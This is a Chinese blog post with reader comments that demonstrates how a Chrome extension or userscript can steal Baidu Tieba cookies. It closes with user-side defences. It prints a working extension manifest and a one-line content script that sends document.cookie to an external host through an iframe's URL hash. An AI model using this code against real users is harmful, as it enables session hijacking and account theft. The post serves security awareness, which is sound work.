Google Chrome 的扩展程序以及GreaseMonkey脚本(user.js)让我们更好地使用浏览器和网络,为我们带来了便利。但是,不法分子同样可以通过制作一个扩展程序或脚本窃取用户信息。实际上,这些扩展程序和脚本的权限非常高,以至于它们可以完全调用网站的所有数据甚至是调用用户的cookies。例如当你访问一个站点时,却发现有奇怪的访问连接(见下图),那么你就要小心了。下面本文将就此进行讨论。
* 某位大神说,据他所知,第一个能够盗取用户cookies的扩展程序是cc做出来的← ←原来我是千古罪人吗……
关于盗取用户cookies的这个想法,我在暑假时就想过。由于Google Chrome扩展程序可以直接在网站操纵webStorage(例如localStorage),所以当时就在想是不是可以读取cookies并转发(更何况Smooth Gesture扩展里可以设置一个手势以查看当前页的cookies),不过由于当时各种原因,所以并没有测试← ←趁着周日期考结束便打算测试一下,结果在意料之中,也在意料之外。
首先,我们需要知道如何得到cookies,可以在控制台输入以下语句并回车:
document.cookie;
接下来,控制台返回了所有的cookies数据。
接下来我创建了一个Google Chrome扩展程序:
-
//manifest.json
-
//Copyright (c) 864907600cc. All Right Reserved.
-
{
-
"content_scripts": [{
-
"js": [ "index.js" ],
-
"matches": [ "*://tieba.baidu.com/*"],
-
"run_at": "document_end"
-
}],
-
"name": "Get Your Tieba Cookies",
-
"description": "这是一个demo,演示扩展程序如何盗取你的贴吧cookies,当然你的cookies会在24小时内自动删除,且一般情况下他人无法访问。",
-
"version": "1",
-
"manifest_version": 2
-
}
并创建了一个名为index.js的文件,在该文件中输入
alert(document.cookie);
结果在刷新页面时网页弹出了当前站点的cookies数据,证明Google Chrome扩展程序可以直接调用站点的cookies。
接下来是传递参数。参数的传递很麻烦,半年前曾经想过用类似PHP的$_GET方式获取数据,但不知道哪里弄错了,居然没成功。这一次去咨询了Google关于跨站传值的问题,找到了解决的方法,那就是iframe+location.hash (来源: JavaScript跨域总结与解决办法 - Rain Man - 博客园)。
* 其实在写这篇文章时想到直接用$_GET方式也可以传递,因为后面的数据处理也需要$_GET。
location.hash是什么?其实就是锚点,例如http://ccloli.com#goodluck 这个地址中“#goodluck”就是location.hash。其优点在于在另一个页面跨域通过javascript的window.location.hash直接读取到数据,缺点便是容量有限,而且这也意味着传输的数据将暴露在网址中——当然如果你是个骇客的话或许并不会在乎,而如果你是网站的开发者,或者是一个为用户安全着想的黑客,或者是防止肉鸡发现的骇客,那么这个方法并不适合你,或许你应该试试Ajax。
所以我们可以创建一个iframe,然后通过这种方式传递cookies:
123 postit=document.createElement('div');document.body.appendChild(postit);postit.innerHTML='<iframe src="http://ext.ccloli.com/getcookies#'+document.cookie+'"></iframe>';
经过测试,数据确实传递成功了,而且扩展在安装时并没有请求其他的权限。
接下来便是编写一个接受客户端,很简单,php就可以搞定。下面是个人编写的这个扩展的演示:
而且经个人测试,并不仅仅是Google Chrome扩展程序中招,GreaseMonkey脚本(也就是我们所说的油猴脚本,在Mozilla Firefox和Google Chrome上很常见)同样也可以达到这个效果——这也意味着火狐浏览器如果安装了这类脚本也可以出现这种情况——甚至在网上常见的“在地址栏输入javascript:function()......并回车就可以进行xxoo”也可能会导致数据外泄!
那么,就没有什么防范措施吗?有,虽然并不是很有效——
- 如果是Google Chrome扩展程序,请不要安装来源不明的扩展程序。您应当安装具有可靠来源的扩展程序(例如Chrome 网上应用店),或者选择可靠的开发者制作的扩展程序。
- 如果是油猴脚本,在安装之前最好查看一下源代码中是否含有document.cookie等敏感文字。
最后,有没有更好的防范措施呢?希望你能提供更好的建议~~~> <感谢您的阅读~~~
一般都不会乱装插件的撸过~
不过插件还是建议去插件库下,毕竟那的插件google已经验证过一遍了,相对比较安全
像我这种没有美刀的只能自己发布扩展程序(Chrome网上应用店注册需要5美刀)……而且对于网上应用店的审核我也不清楚,不过有盗用的现象,比如opengg.clean.player被多个扩展盗用并植入恶意代码(例如“优酷杀手”,参见http://opengg.me/hall-of-shame/和http://opengg.me/898/caught-thief/)……更何况中招的不仅仅是扩展程序,包括userscript以及那些“在地址栏输入javascript:xxxxx并回车”都有可能出现这种情况,只是扩展程序因为无法直接看到源代码而不容易发现而已……
另外……怎么办我突然想说下面这句话← ←……
while("扩展"=="插件")alert("这货不叫插件!!!叫扩展!!!")
我知道,不过我看过上面的程序基本上都木有恶意代码
for(;1;)PopUpManager(“扩展不是插件!!!!!!”);
ReferenceError: PopUpManager is not defined
chrome://extensions or chrome://plugins/
⊙﹏⊙b~
如果你去百度chrome吧说插件什么的,会看到“这货不叫插件!!!叫扩展!!!”这句话至少5次← ←
其实这个问题现在再说已经有些过时了,这是之前相当流行的跨域攻击的手法之一。比如早期的论坛博客系统的评论功能许多没有剔除HTML标签,在评论区中只需轻轻敲上文中所述的那些代码只要管理者稍加浏览就能轻松搞到管理权限,不过这种方式渐渐过时,不再提起也罢。
说到防范,一来网站程序的编写者应当在使用会话时对客户端进行验证,比如验证IP地址和UA之类;二来用户自己也需要谨慎选择浏览器和插件产品,像现在大行其道的打着安全或是极速的标语的壳浏览器,其实也是一大安全隐患。
不知道博主交换链接否,谢谢
我得去检查一下我的插件和脚本了